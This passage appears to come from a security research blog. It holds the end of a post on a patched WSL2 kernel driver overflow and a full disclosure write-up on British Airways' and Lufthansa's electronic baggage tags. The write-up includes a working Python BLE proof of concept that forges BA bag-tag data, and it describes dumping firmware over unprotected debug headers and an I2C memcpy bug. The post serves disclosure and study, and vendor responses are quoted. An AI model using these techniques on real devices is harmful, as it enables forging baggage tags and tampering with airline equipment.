46,59) Eventually execution will lead to two different calls of *[dxg_copy_from_user](https://www.kernel.org/doc/htmldocs/kernel-api/API---copy-from-user.html)*. In both cases, it is copying in user-controlled data using the original extremely large size values (remember our *object_count* was used to calculate both *object_size* and *fence_size*).

Hopefully this inspired you to take a peek at other opensource drivers and hunt down security bugs. This issue was reported to MSRC on May 20th, 2020 and resolved on August 26th, 2020 after receiving the severity of *Important* with an impact of *Elevation of Privilege*.


You can view the patch commit [here](https://github.com/microsoft/WSL2-Linux-Kernel/commit/7212aa038af18cbe1b383ab4398567d0160eb63d) with the new added validation.

Tuesday, September 1, 2020

Breaking Electronic Baggage Tags - Lufthansa vs British Airways

*by Ruben Santamarta,*
If you are reading this article, I will venture to guess that you have already had the ‘pleasure’ of queuing to check a bag at an airport. In order to improve the checking procedure, Electronic Baggage Tag (EBT) solutions are being introduced on the market that leverage the new technologies most travellers have access to nowadays.
This time I will take a look at the security posture of two of the most prominent EBT solutions: British Airways’ TAG and Lufthansa’s BAGTAG.
First of all, IATA provides an implementation guide for these devices, which I recommend you read before continuing on with this blog post, as well as the IATA resolution 753 on baggage tracking.

Certain parts of the implementation guide are worth noting:



In general terms, an EBT solution is comprised of:

* Airline mobile app
* Airline backend
* EBT device
  * NFC
  * BLE
  * Display (e-INK)
The communication channel between airline mobile app and the EBT is established through a BLE interface.
Now let’s see how close to the expected functionality of these EBT solutions is to the IATA security requirements.

## British Airways’ TAG
British Airways’ (BA’s) TAG  is provided by ViewTag.  As usual, by looking at the FCCID website,  we can find a teardown of the device.
The differences between the teardown version and the one being commercialized are not significant.
It is as simple as it looks. The Nordic SoC is in charge of BLE communication with the mobile app. By reverse engineering the BA app, it was possible to easily figure out how the solution is working: Basically, the BA app directly transfers the data that will be used to update the EBT display via BLE without any additional security.
A custom payload written to the ‘PASS_DATA’ characteristic is the mechanism used to transfer the boarding pass/bag tag data that eventually will be rendered on the EBT device’s e-INK display. The device does not validate either the authenticity or the integrity of the data being transferred. The following code receives the booking information collected from the BA backend and generates the payload:
The payload is a string where the following items are concatenated in a specific order.

* passengerName
* bookingReference
* priority
* sequenceNumber
* destinationFlightNum
* destinationFlightDate (ddHHmm)
* destinationAirport
* destinationName
* firstTransferFlightNum
* firstTransferFlightDate
* firstTransferAirport
* secondTransferFlightNum
* secondTransferFlightDate
* secondTransferAirport
* departureAirport
* euDeparture (enable green bars)
* fullIdentifier

That’s it, not very interesting I know…
The above diagram sums up the overall implementation:

1. The BA app downloads the passenger’s booking info and checks the ability to generate a digital bag tag (only available to Executive Club members).
1. The BA app generates the bag tag payload and transfers it through the PASS_DATA characteristic
1. The EBT processes this payload and updates the e-INK display with the received information. 

As a result of this design, anyone, not only the airline, is able to forge arbitrary bag tags and update the EBT device without any further interaction with BA. Obviously you still require physical access to the EBT device to press the button that will enable the BLE functionality. 

The following proof-of-concept can be used to forge arbitrary bag tags and render them on a BA TAG.

**File: poc.py**
```python 
import asyncio
from bleak import BleakClient

address = "" # Set Viewtag’s MAC Address here.
PASS_DATA = "f34e4323-2147-4c84-8208-264ab774f5ca"
payload = "" # Include here the data to be rendered in the viewtag
async def run(address, loop):
	async with BleakClient(address, loop=loop) as client:
		x = await client.is_connected()
		print("Connected: {0}".format(x))
		await client.write_gatt_char(PASS_DATA, bytearray(payload,'utf-8'))
		print("payload written\n")
		
loop = asyncio.get_event_loop()
loop.run_until_complete(run(address, loop))
```

The following is a custom bag tag generated using this PoC:
## Lufthansa’s BAGTAG

Lufthansa decided to go with DSTAGS, a company founded by an NXP employee. This company created BAGTAG. I think it is worth mentioning this detail because my analysis revealed that the team behind the device seems to have significant experience with NXP components, although from a security perspective they missed some basic things.
As with the TAG solution, we can access a device teardown on the FCCID site,  which is almost identical to the units used during the analysis.
The main components are:
* Nordic NRF8001  - BLE SoC 
* NXP LPC115F  – MCU
* NXP 7001C – Secure Element

As the following image shows, the Serial Wire Debug (SWD) headers were easily accessible, so that was the first thing to check. 
Fortunately, the BAGTAG production units are being commercialized without enforcing any type of Code Read Protection (CRP) scheme in their MCUs. As a result, it was possible to gain complete access to the firmware, as well as to flash a new one (I used a PEmicro Multilink  working with the NXP’s MCUxpresso  built-in gdb server).

After reverse engineering the firmware (bare metal, no symbols, no strings) and the app, it was clear that this solution was much more complex and solid than BA’s. Basically, the BAGTAG solution implements a chip-to-cloud scheme using the NDA-protected NXP 7001C Secure Element, which contains the cryptographic materials required both to uniquely identify the EBT and to decrypt the responses received from the BAGTAG backend. The MCU communicates with the Lufthansa app through the NRF8001 BLE transceiver. 
I came up with the following diagram to help elaborate the main points of interest.
- 1. The Lufthansa app downloads the passenger’s booking info and checks whether the user wants to generate an EBT.
- 2. The BAGTAG’s BLE service exposes two characteristics (receiveGUID and transmitGUID) that are basically used to transfer data between the app and the device. 
Actually the important data comes encrypted directly from the BAGTAG cloud. In addition to the passthrough channel, there are two publicly supported commands:
The startSessionRequest returns an internal 59-byte ‘ID’ that identifies that specific BAGTAG device. This ID is stored inside the NXP 7001 Secure Element, which communicates with the MCU via I2C using an ISO-7816-compliant protocol.
There are two commands invoked in the firmware for the selected applet:
* 0x8036: Returns the Session ID and uCode (to generate the IATA’s GUID) 
* 0x8022: Decrypt data (received from the BAGTAG backend through the BLE passthrough)
 - 3. The user needs to register the BAGTAG device and create an account. Then the app serializes the booking info required to generate a valid BAGTAG (pretty much the same fields that were mentioned for BA’s solution) and submits it to the BAGTAG backend to be validated. If everything is correct, the BAGTAG backend returns an encrypted blob that goes through the BLE passthrough channel directly to the BAGTAG device.
- 4. The MCU receives this encrypted blob and sends it to the 7001C Secure Element to be decrypted. The decrypted data received from the 7001C via I2C is then processed, eventually updating the e-INK display with this information. It is worth mentioning that I didn’t perform any live tests on the Internet-facing servers to avoid any unexpected behaviors in the production environments. At the intra-board communication level, the MCU does not implement a secure channel to talk to the NXP 7001C Secure Element. As a result, a malicious component on the I2C bus could provide arbitrary content that will eventually be rendered, as the MCU has no way of validating whether it came from the actual 7001C. Obviously, malicious firmware running in the BAGTAG device may perform the same actions without requiring an external component. Intra-board attacks (SPI, I2C, etc.) are really interesting in those scenarios where the MCU offloads a specific functionality (network, crypto, radio, etc.) to a certain SoC. If you are into this kind of attacks, stay tuned ;) For instance, we can see how this lack of intra-board security can also lead to a memory corruption vulnerability in this firmware:


See the issue?

At line 58 ‘transfer_to_i2c’ expects to read v12+2 bytes from the I2C slave, storing them at 0x100011A4. Then at line 63, it is using a byte that may be controlled by an attacker to calculate the number of bytes that will be copied in the memcpy operation. Now, if that byte is 0x00, we will face a wild memcpy corruption scenario.

## Conclusions

Lufthansa and British Airways were notified of these issues. Both consider these issues as low-risk threats. 

### British Airways 
"Through our own internal investigations we have validated that there are enough checks in the background that take place to ensure an unauthorised bag would not make it through.   
The potential exploitation scenarios are overall really unlikely. The overall risk to the businesses is also considered to be low severity."
### Lufthansa
"From a security standpoint appropriate screening of hold baggage remains by far the most important pillar.

In addition the baggage handling process is robust against many forms of manipulation.

The manipulation by means of EBT is therefore only a supplement to already considered cases and does not mean a significant increase of the attacksurface.

In this respect, there is only a small additional probability of occurrence.


A piece of luggage manipulated via Bluetooth would be identified and transferred to a verification process.

This ensures that no luggage manipulated in this way can get on board of one of our aircrafts.

 
Lufthansa thanks the researcher for his cooperation.

We will gladly follow up such indications, among other things by means of our BugBounty program."

I agree, there are serious limitations to turning these issues into a serious attack scenario; however, time will tell how these technologies evolve. Hopefully this kind of research will help to close any security gaps before a more significant attack vector can be discovered.


## References

1. https://www.iata.org/en/publications/ebt-guide/
1. https://www.iata.org/en/programs/ops-infra/baggage/baggage-tracking/
1. https://www.britishairways.com/en-gb/information/baggage-essentials/digital-bag-tag
1. https://viewtag.com/
1. https://fccid.io/NOI-VGIDEBT/Internal-Photos/Internal-photos-4145161
1. https://fccid.io/2AK3S-BAGTAG/Internal-Photos/Internal-photographs-3391010
1. https://www.nordicsemi.com/-/media/DocLib/Other/Product_Spec/nRF8001PSv13.pdf
1. https://www.nxp.com/docs/en/data-sheet/LPC111X.pdf
1. http://www.pemicro.com/products/product_viewDetails.cfm?product_id=15320168&productTab=1
1. https://www.nxp.com/design/software/development-software/mcuxpresso-software-and-tools-/mcuxpresso-integrated-development-environment-ide:MCUXpresso-IDE